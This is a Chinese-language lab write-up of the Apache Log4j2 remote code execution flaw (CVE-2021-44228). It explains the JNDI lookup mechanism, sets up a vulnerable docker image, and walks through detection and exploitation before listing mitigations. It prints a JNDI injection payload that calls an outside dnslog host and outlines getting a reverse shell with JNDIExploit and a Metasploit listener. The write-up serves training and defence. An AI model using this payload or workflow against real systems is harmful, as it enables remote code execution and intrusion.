漏洞名称 | Apache Log4j2远程代码执行漏洞 |
---|---|
漏洞编号 | CVE-2021-44228 |
危害等级 | 高危 |
CVSS评分 | 10.0 |
漏洞类型 | 日志框架漏洞 |
漏洞厂商 | Apache |
漏洞组件 | Apache Log4j2 |
受影响版本 | Log4j 2.x <= 2.15.0-rc1 |
漏洞概述 | Apache Log4j2是一款使用非常广泛的Java日志框架。2021年12月9日,Apache Log4j2爆出存在远程代码执行漏洞,由于Apache Log4j2广泛地应用在各种Web程序中,该漏洞涉及用户量较大,危害性非常之高,漏洞影响版本为2.0~2.14.1。 |
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中,假如日志中含有该语句${jndi:rmi://4rujx1.dnslog.cn/bug},log4j就会去解析该信息。
通过jndi的lookup()方法去解析该URL:jndi:rmi://4rujx1.dnslog.cn/bug,解析到rmi,就会去4rujx1.dnslog.cn的rmi服务找名为bug的资源,如果找不到就会去http服务中找。
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现bug是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害。
Linux下搭建:
拉取漏洞镜像
docker pull vulfocus/log4j2-rce-2021-12-09
启动漏洞镜像:
docker run -tid -p 7788:8080 vulfocus/log4j2-cve-2021-44228
点击???,可以发现payload是以GET的方式提交的。
1.获取子域
2.构造payload
3.在DNSlog网站点击刷新记录,既可以发现一条DNS查询的记录(这里可能存在一些延迟,需要一些时间等待)。发现存在记录的话,就说明存在cve-2021-44228漏洞。
4.使用JNDIExploit-1.4-SNAPSHOT.jar工具开启LDAP、HTTP服务。这里-i参数是开启LDAP、HTTP服务的ip地址。
5.kali使用msf的java/meterpreter/reverse_tcp开启监听.
6.构造恶意payload
7.msf成功获取到了shell
1、将Apache Log4j所有相关应用到Apache Log4j 2.3.1版本。
2、过滤用户输入(ldap、rmi、dns)。
3、禁止log4j使用lookup方法。